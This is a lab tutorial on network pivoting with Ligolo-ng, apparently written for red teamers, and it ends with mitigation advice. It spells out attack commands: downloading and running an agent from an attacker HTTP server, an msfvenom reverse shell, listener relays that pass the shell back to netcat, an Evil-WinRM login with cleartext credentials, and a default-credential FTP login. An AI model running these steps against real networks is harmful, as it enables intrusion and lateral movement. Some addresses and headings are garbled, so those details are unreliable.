This article delivers a practical, end-to-end walkthrough of Ligolo-ng, from initial proxy setup and agent deployment to advanced multi-hop pivoting across isolated networks. It demonstrates core features such as autoroute-based path configuration, listener relays for reverse shell redirection, and disciplined session teardown to minimize exposure. Designed for red team operators and advanced penetration testers, it combines technical depth with real-world tradecraft. As a result, it positions Ligolo-ng as a foundational component of a modern offensive operations toolkit.

Table of Contents

• Introduction
• Lab environment
• Ligolo-ng: Pivoting into Internal Subnets
  • Launching the Ligolo-ng Proxy on the Attacker Machine
  • Delivering and Executing the Ligolo-ng Agent on the Target
  • Port Forwarding Workflow
  • Virtual Routing Configuration
  • Tunneled Access to Internal Web Applications
• Single Pivoting
  • Network Enumeration via ifconfig
  • Dynamic Route Configuration via Autoroute
  • Establishing a Virtual Interface for Pivoting
  • Confirming Tunnel Interface Initialization
  • Manually configuring Liholo-Ng LALternative Autoroute
  • SSH Session Setup and Agent Deployment
  • TUN Configuration with Interface Enumeration
  • Bringing the Tunnel Online Through the Named Interface
  • Verifying Internal Network Reachability via Ping
  • Payload Distribution via Local HTTP Service
  • Validating Network Isolation Between Target and Attacker
  • Setting Up a Remote Listener to Redirect HTTP Traffic
  • File Server Retrieval Through the Active Tunnel Relay
  • Generating a Windows Reverse Shell Payload with msfvenom
  • Redirecting the Shell: Second Listener Setup
  • Delivering the Reverse Shell to the Target
  • Catching the Shell with Netcat
• Advanced Multi-Hop Pivoting 
  • Evil-WinRM: Shell and Network Enumeration
  • Configuring an Ubuntu Relay Listener for Windows Callbacks
  • Executing the Ligolo-ng Agent on the Windows Target
  • Session Switch with Third-Network Autoroute and Tunnel Enablement
  • Scanning and Accessing the Third Internal Network
  • Enumerating Tunnels and Terminating Specific Sessions
  • Auditing and Stopping the Active Port Listener
  • Reviewing and Removing Obsolete Routes 
  • Auditing and Deleting Stale TUN Interfaces
  • Terminating the Windows Agent
• Conclusion
• Mitigation Strategies

Introduction

In the ever-evolving landscape offensive security, the ability to pivot through layered, segmented networks is a core tradecraft skill rather than a luxury. Enterprise environments rarely expose critical assets on a single flat subnet; instead, firewalls, VLANs, and isolated zones are deliberately designed to restrict lateral movement and contain breaches. Operating effectively in these conditions demands tooling that can relay traffic across multiple hops transparently, without increasing operational noise or degrading capability.

Ligolo-ng directly addresses this requirement as a modern, Layer-3 network pivoting framework. Operating via a TUN/TAP virtual interface on the attacker host, it enables standard system utilities, scanners, exploit frameworks, and even GUI tools to treat internal networks as locally attached, with no proxy-aware configuration. By transporting traffic over a TLS-encrypted channel, Ligolo-ng preserves both flexibility and operational security throughout the engagement.

Lab Environment

This lab is built to mirror a realistic, segmented enterprise network and show how an attacker chains pivots across layers. An external attacker starts on a Kali laptop on the “Internet” side, running the Ligolo-ng proxy and TUN interface. The first goal is to gain a foothold in the DMZ, so the attacker compromises an Ubuntu server (ignite) in the DMZ network 192.168.1.0/24. Once the Ligolo-ng agent connects back, the attacker can both hit services bound to the Ubuntu loopback (via 240.0.0.1:8080) and see that this host also reaches an internal subnet. From the DMZ host, the attacker pivots into Internal1, network 192.168.147.128/24. That’s the first true internal zone, represented by the Windows host MSEDGEWIN10. In a realistic environment this might be an internal workstation or jump host with access deeper inside.

After compromising the Windows machine, the attacker deploys another Ligolo-ng agent (or similar tunneling capability) there. That machine has connectivity to an even more restricted network, Internal2, 10.10.20.0/24, which hosts critical internal servers.

Ligolo-ng:  Pivoting into Internal Subnets

Ligolo-ng is a modern Layer-3 network pivoting framework that provides transparent access to internal networks through a proxy–agent architecture. A lightweight agent runs on a compromised host, while the proxy on the attacker machine establishes an encrypted tunnel via a TUN/TAP virtual interface. Instead of simple port forwarding, Ligolo-ng routes real IP traffic, allowing tools like nmap, CrackMapExec, RDP clients, and web consoles to work natively over the pivot. Operators can define routes, build multi-hop chains, and relay reverse shells or C2 traffic across isolated segments without complex SOCKS setups. Its flexibility, low friction, and TLS encryption make it highly effective for realistic red team pivoting.

Launching the Ligolo-ng Proxy on the Attacker Machine

Ligolo-ng uses a client-server architecture where the proxy on the attacker’s machine awaits connections from agents on compromised hosts. Launched with the –selfcert flag, it generates a temporary self-signed TLS certificate to secure communications without a PKI setup.

To launch Ligolo, use the following command:

ligolo-proxy –selfcert

Delivering and Executing the Ligolo-ng Agent on the Target

With the proxy listening, the operator must transfer the agent binary to the compromised Ubuntu machine (hostname: ignite) and execute it there. The operator fetches the agent from the attacker’s HTTP server using wget, makes the binary executable with chmod, and launches it with the -connect flag pointing to the proxy’s IP and port, along with -ignore-cert to bypass TLS certificate validation since the proxy uses a self-signed cert. The following commands accomplish all of this:

wget http://192.168.1.17:8000/agent
chmod +x agent
./agent -connect 192.168.1.17:11601 -ignore-cert

Port Forwarding Workflow

On the proxy side, the agent’s connection triggers an INFO log entry confirming it has joined. The operator then uses the session command to select the active agent interactively, inspects running tunnels via tunnel_list, and starts the relay with tunnel_start — transitioning the session from a control state to an active L3 forwarding state.

Virtual Routing Configuration

With the tunnel active, a static route is added on the Kali machine pointing the virtual IP block 240.0.0.1/32 to the ligolo TUN interface. This special address acts as a placeholder that resolves to the agent’s loopback on the pivot host, allowing the attacker to address the target’s local services without knowing their actual loopback address. To the route use the following command:

ip route add 240.0.0.1/32 dev ligolo

The following Nmap service scan is then run directly against this virtual IP to enumerate the pivot’s exposed services:

nmap 240.0.0.1 -sV

Tunneled Access to Internal Web Applications

With the Nmap scan confirming Apache on port 8080, the attacker’s browser is pointed directly at the virtual IP address 240.0.0.1:8080. The Ligolo-ng tunnel transparently proxies the HTTP request from the browser, through the TUN interface, across the encrypted channel to the agent on the pivot host, and finally to Apache’s loopback listener.

Single Pivoting

Network Enumeration via ifconfig

Ligolo-ng excels in pivoting by relaying traffic beyond the pivot’s loopback to any reachable network. Using the agent’s ifconfig command, the operator identifies a second NIC on the compromised host—exposing a new subnet and enabling deeper access into the internal network.

Dynamic Route Configuration via Autoroute

Ligolo-ng’s autoroute command streamlines pivoting by automatically reading the agent’s routing table and interfaces, hence, eliminating manual route configuration. The operator selects the newly discovered 192.168.147.128/24 subnet to establish seamless access into the internal network using the following command:

autoroute
192.168.147.128/24

Establishing a Virtual Interface for Pivoting

After selecting the subnet, autoroute prompts for interface setup. A new TUN interface named ignite is created for easy identification, automatically configuring kernel routes for 192.168.147.128/24 and activating the tunnel upon confirmation.

Confirming Tunnel Interface Initialization

The autoroute configuration is validated by running ifconfig on the Kali machine as you can see in the following image.

Bridging the Tunnel to the Windows Host

An ICMP ping verifies Layer 3 connectivity, and rdesktop establishes an RDP session—confirming full interactive access to internal hosts via Ligolo-ng’s transparent tunneling. Use the following command for this:

ping 192.168.147.129
rdesktop 192.168.147.129

Manual configuring Ligolo-ng (Alternative Autoroute)

The attack chain begins by launching the Ligolo-ng proxy on the Kali attacker machine. The following command instructs the proxy to generate an on-the-fly self-signed TLS certificate.

ligolo-proxy --selfcert

SSH Session Setup and Agent Deployment

With the proxy running, the operator SSHs directly into the compromised Ubuntu pivot machine.

ssh pentest@192.168.1.9

Once on the pivot, the Ligolo-ng agent binary — previously transferred — is executed with the following command which has -connect flag targeting the attacker’s proxy at 192.168.1.17:11601 and -ignore-cert to bypass TLS certificate validation against the self-signed certificate.

./agent -connect 192.168.1.17:11601 -ignore-cert

TUN Configuration with Interface Enumeration

A dedicated TUN interface named “rajinternal” is created using the interface_create command within the ligolo-ng proxy shell. The session command is then used to bind the operator context to the connected agent before running ifconfig to enumerate the pivot host’s network interfaces. All these commands are listed below:

interface_create --name "rajinternal"
session
ifconfig

Bringing the Tunnel Online Through the Named Interface

With the “rajinternal” TUN interface created and the internal subnet identified as 192.168.147.0/24, a kernel route is configured manually using interface_add_route. This directs all traffic destined for 192.168.147.0/24 through the “rajinternal” interface on the Kali machine. The tunnel is then started with tunnel_start referencing the named interface explicitly, completing the Layer 3 forwarding path.

interface_add_route --name rajinternal --route 192.168.147.0/24
tunnel_start --tun rajinternal

Verifying Internal Network Reachability via Ping

The tunnel’s Layer 3 functionality is immediately validated with a standard ICMP ping test from Kali against the internal Windows host at 192.168.147.129.

ping 192.168.147.129

Payload Distribution via Local HTTP Service

With Layer 3 connectivity established into the internal network, the attacker sets up a lightweight HTTP server on Kali to serve files to the internal Windows target with help of the following command:

python -m http.server 8081

Validating Network Isolation Between Target and Attacker

Before deploying the listener relay, it is critical to verify that the network isolation is genuine — the Windows target must be unable to reach the attacker’s HTTP server directly over the network. Which is verified with the failed attempt to access http://192.168.1.17:8081 in a browser.

Setting Up a Remote Listener to Redirect HTTP Traffic

The following commands instructs the remote agent to open a listening port on its network interfaces, and any connection received on that port is transparently forwarded through the tunnel back to a specified local address on the attacker machine.

listener_add -h
listener_add --addr 0.0.0.0:8082 --to 0.0.0.0:8081

File Server Retrieval Through the Active Tunnel Relay

With the listener relay active, the internal Windows machine browses to the pivot host’s internal IP (192.168.147.128) on port 8082. This connection is intercepted by the Ligolo-ng agent, tunneled back through the encrypted control channel, and delivered to Kali’s Python HTTP server on port 8081 — surfacing the attacker’s file system to the isolated Windows host.

Generating a Windows Reverse Shell Payload with msfvenom

With a confirmed file delivery mechanism through the listener relay, the attacker generates a Windows reverse shell executable using msfvenom’s following command:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.147.128 lport=4443 -f exe -o reverse.exe

The output file reverse.exe is saved in the current working directory, ready to be served through the HTTP listener relay on port 8082.

Redirecting the Shell: Second Listener Setup

The reverse shell in reverse.exe is configured to connect back to 192.168.147.128:4443 — the pivot host’s internal IP. However, the netcat listener that will catch the shell runs on Kali at port 1234. A second listerner is created which will enforce a port forwarding rule on the agent: any connection arriving at 0.0.0.0:4443 on the pivot is relayed through the tunnel to 0.0.0.0:1234 on the Kali machine. Use the following command to create a second listener:

listener_add --addr 0.0.0.0:4443 --to 0.0.0.0:1234

Delivering the Reverse Shell to the Target

With both listeners active and netcat ready to receive the shell, the reverse.exe payload is fetched on the internal Windows host via the attacker’s HTTP directory at 92.168.147.128:8082, accessed through the established relay. The file downloads directly to the user’s Downloads folder.

Catching the Shell with Netcat

Start a netcat listener with the following command:

rlwrap nc -lvnp 1234

When reverse.exe is executed on the Windows target, it dials back to 192.168.147.128:4443, which the Ligolo-ng agent relays to 0.0.0.0:1234 on Kali, establishing a command shell session.

Advanced Multi-Hop Pivoting

Advanced multi-hop pivoting enables attackers to traverse multiple intermediary hosts to reach deeply segmented internal networks while maintaining stealth. Each pivot node becomes both a relay and a potential vantage point for discovery, credential harvesting, and lateral movement. Effective session lifecycle management tracks every tunnel and agent from initial compromise through expansion, maintenance, and teardown. This structured control reduces operational risk, simplifies recovery from broken links, and supports rapid reconfiguration during active operations.

Evil-WinRM: Shell and Network Enumeration

With the Ligolo-ng tunnel into the 192.168.147.0/24 network established, the attacker uses Evil-WinRM to obtain a PowerShell session on the internal host 192.168.147.129. Evil-WinRM authenticates over WinRM with cleartext credentials (ieuser / 123) and immediately exposes an interactive PowerShell console. The Ligolo-ng Windows agent (agent.exe) is then uploaded directly over the WinRM channel using the built-in upload command, eliminating the need for any separate file transfer mechanism. And to do so use the following commands:

evil-winrm -i 192.168.147.129 -u ieuser -p 123
upload agent.exe
ipconfig

Configuring an Ubuntu Relay Listener for Windows Callbacks

The Windows agent must establish a callback to the Ligolo-ng proxy on Kali at 127.0.0.1:11601. Because the Windows host has no direct route to the attacker’s IP (192.168.1.17) and is separated by a strict network boundary, direct connectivity is not possible. To bridge this gap, a listener relay is configured on the already-compromised Ubuntu agent. This relay binds to port 4444 on all Ubuntu interfaces and forwards incoming TCP connections through the encrypted Ligolo-ng tunnel to 127.0.0.1:11601 on Kali. To the said listener use the following command:

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601

Executing the Ligolo-ng Agent on the Windows Target

With the listener relay active on the Ubuntu pivot, the Windows agent binary is executed from the Evil-WinRM PowerShell session. It is pointed at the Ubuntu pivot’s internal-facing IP (192.168.147.128) on port 4444, with -ignore-cert to suppress TLS certificate validation against the self-signed proxy certificate. The connection traverses the relay entirely transparently and registers a new agent session at the Kali proxy.

./agent.exe -connect 192.168.147.128:4444 -ignore-cert

Session Switch with Third-Network Autoroute and Tunnel Enablement

The Kali proxy now hosts two active agents: the original Ubuntu pivot (pentest@ignite) and the newly registered Windows agent (MSEDGEWIN10\IEUser@MSEDGEWIN10). The operator switches to the Windows session and runs autoroute to enumerate and route into the newly discovered 169.254.160.96/16 subnet. A new TUN interface named “internal2” is created, and the tunnel is started, completing the third-hop Layer 3 pivot.

session
autoroute

Scanning and Accessing the Third Internal Network

With “internal2” active and routing 169.254.0.0/16 through the Windows pivot, the attacker has transparent Layer 3 access to the third isolated network. An Nmap scan is conducted against 169.254.160.100 — a host discovered in the link-local range. The scan reveals a remarkably broad attack surface, and an immediate FTP login attempt using the default credential pair (msfadmin:msfadmin) succeeds, confirming this is a deliberately vulnerable training system.

nmap 169.254.160.100

The scan reveals a remarkably broad attack surface, and an immediate FTP login attempt using the default credential pair (msfadmin:msfadmin) succeeds, confirming this is a deliberately vulnerable training system.

ftp 169.254.160.100

Enumerating Tunnels and Terminating Specific Sessions

With the engagement objectives met against the third network, the operator begins methodically dismantling the tunnel infrastructure to minimize operational footprint. The tunnel_list command provides a real-time consolidated view of all active sessions, their bound TUN interfaces, and online status. The tunnel_stop command then selectively closes the Ubuntu agent’s tunnel while keeping the Windows session fully active.

tunnel_list
tunnel_stop

Auditing and Stopping the Active Port Listener

The listener relay on the Ubuntu agent successfully relayed the Windows agent registration and is now expendable. With the Windows session active and the Ubuntu tunnel already stopped, removing this listener eliminates an unnecessary open TCP port on the pivot host. The first command first audits the current listener state before the second command cleanly terminates the relay. These commands are :

listener_list
listener_stop

Reviewing and Removing Obsolete Routes 

Across multiple pivoting sessions, Ligolo-ng accumulates TUN interface definitions and kernel routing entries that persist in its configuration even after the operator stops the tunnels. The first command audits the complete routing state, displaying each interface, its destination routes, and whether each route is currently Active or Pending. The second command provides an interactive selector for removing stale entries. The said commands are following:

route_list
route_del

Auditing and Deleting Stale TUN Interfaces

Once you remove the routes, you must also deregister the corresponding TUN interfaces from the proxy configuration. The first command enumerates all registered virtual interfaces by sequential ID and namea nd the second command requires explicit identification via the –name or –id flags and rejects unauthenticated use. This design requires deliberate operator action before purging an interface along with its associated configuration.

iflist
ifdel --id 0

Terminating the Windows Agent

The final step of the operational teardown is terminating the Windows agent (MSEDGEWIN10) using Ligolo-ng’s kill command. This forcibly disconnects the agent binary running on the Windows target, triggers automated stale route cleanup on the proxy for the “internal2” interface, and returns the proxy to a clean listening state.

kill

Conclusion

The practical demonstrations revealed several defining strengths of Ligolo-ng. The autoroute command eliminates the tedious manual kernel-route configuration that historically slowed down operators’ mid-engagement, automatically discovering and routing into newly identified subnets with minimal interaction. Listener relays proved equally powerful — seamlessly redirecting reverse shells and HTTP file-delivery channels across network boundaries that would otherwise be completely unreachable. The structured session lifecycle commands — tunnel_list, tunnel_stop, listener_list, listener_stop, route_del, ifdel, and kill — give operators precise, methodical control over their operational footprint, enabling clean teardown that minimises artefacts on pivot hosts and reduces the risk of detection after operators meet their objectives.

Mitigation Strategies

The following mitigation strategies, organised by defensive domain, provide actionable guidance for reducing the risk and impact of Ligolo-ng-style pivoting attacks within enterprise environments.

Network Segmentation and Micro-Segmentation

Effective network segmentation remains the single most impactful control against lateral movement and pivoting. Organisations should enforce strict inter-zone traffic policies using next-generation firewalls (NGFWs) and ensure that no host in a DMZ or untrusted segment can initiate outbound connections to internal subnets without explicit justification.

• Zero-Trust Network Architecture: Adopt a zero-trust model that authenticates, authorises, and encrypts every connection, regardless of source. Lateral east-west traffic between segments must require explicit policy approval.
• Host-Based Firewalling: Deploy host-based firewall rules on all servers and workstations to restrict inbound and outbound connections to known, necessary ports and destinations only. Prevent arbitrary TUN/TAP interface creation by non-privileged users.
• VLAN Isolation: Enforce VLAN boundaries at the routing layer and strictly control inter-VLAN routing. Compromising a host in one VLAN should never grant automatic Layer 3 reachability to adjacent segments.

Egress Filtering and Outbound Traffic Control

Ligolo-ng relies on the compromised agent establishing an outbound TLS connection to the attacker’s proxy. Robust egress filtering can detect or block this channel before it fully establishes.

• Restrict Outbound Ports: Enforce outbound firewall policies that allow only required ports (e.g., 80, 443, 53) from production hosts. Block non-standard high ports such as 11601 — Ligolo-ng’s default — outright at the perimeter.
• TLS Inspection: Deploy SSL/TLS deep-packet inspection (DPI) at the network perimeter to identify and scrutinise encrypted tunnels originating from non-browser processes. Anomalous TLS handshakes from server-class hosts warrant immediate investigation.
• DNS Monitoring: Unusual DNS resolution patterns from internal hosts — particularly lookups for attacker-controlled infrastructure — can serve as an early indicator of compromise. Deploy DNS security solutions capable of detecting beaconing behaviour.

Endpoint Detection and Response (EDR)

• The Ligolo-ng agent binary executes as a standard process on the compromised host. Modern EDR solutions with behavioural analysis capabilities can readily detect their activity.
• Process Anomaly Detection: Alert on processes that establish outbound TLS connections to non-standard ports, particularly those not associated with a known application inventory. The agent binary will exhibit consistent network connection patterns that diverge from normal host behaviour.
• TUN/TAP Interface Monitoring: On Linux hosts, monitor for the creation of new TUN or TAP network interfaces (visible via ip link or /proc/net/dev). Unexpected virtual interface creation is a high-fidelity indicator of tunnelling activity.
• File Integrity and Binary Whitelisting: Implement application whitelisting policies that prevent unsigned or unknown binaries from executing. The Ligolo-ng agent will not appear in any approved software inventory and should trigger an immediate alert upon execution.

Privileged Access and Credential Hygiene

Several attack chains demonstrated in this article depended on the reuse of weak or default credentials to gain initial footholds and deploy agents. Credential hygiene directly limits an attacker’s ability to pivot.

• Eliminate Default Credentials: Audit all networked systems — particularly legacy and IoT devices — for the use of default username/password pairs. As demonstrated, FTP access using msfadmin:msfadmin granted immediate access to a third internal network.
• Least-Privilege Enforcement: Restrict administrative protocols such as WinRM, RDP, and SSH to explicitly authorised source addresses. Ligolo-ng’s multi-hop chain relied heavily on WinRM access being available from a pivot host.
• Multi-Factor Authentication (MFA): Enforce MFA on all remote access protocols — including VPN, RDP, and SSH — to prevent an attacker who has obtained cleartext credentials from leveraging them to propagate laterally through the environment.

Network Traffic Anomaly Detection and SIEM Alerting

When individual controls fail, a well-tuned SIEM correlates behavioural signals to detect active pivoting.

• Baseline and Anomaly Alerting: Baseline segment traffic and alert on deviations — unfamiliar server destinations, or workstations scanning idle subnets.
• East-West Traffic Visibility: Deploy network detection and response (NDR) tooling that inspects internal east-west traffic, not just north-south perimeter flows. Ligolo-ng pivoting generates characteristically symmetrical traffic patterns between pivot hosts that NDR solutions can fingerprint.
• Log Aggregation: Stream auth logs, process execution (Sysmon/auditd), and network flows to a central SIEM in real time. If you configure logging properly, an attacker who executes agent.exe over Evil-WinRM will leave an audit trail.

Regular Purple Team Exercises and Penetration Testing

The most effective long-term mitigation is continuous validation. Organisations should regularly test their defensive controls against realistic offensive tooling — including Ligolo-ng — to identify gaps before adversaries do.

• Simulate Pivoting Scenarios: Commission red team engagements that specifically test network pivoting and lateral movement across segmented environments. Validated detection gaps should drive immediate remediation in firewall policy, EDR tuning, and SIEM rule development.
• Detection Engineering: Write SIEM rules for Ligolo-ng indicators: port 11601 traffic, TUN interface creation, agent execution, and listener relays.
• Threat Intelligence Integration: Feed community-maintained Ligolo-ng IOCs — binary hashes, network signatures, and command patterns — into your detection pipeline.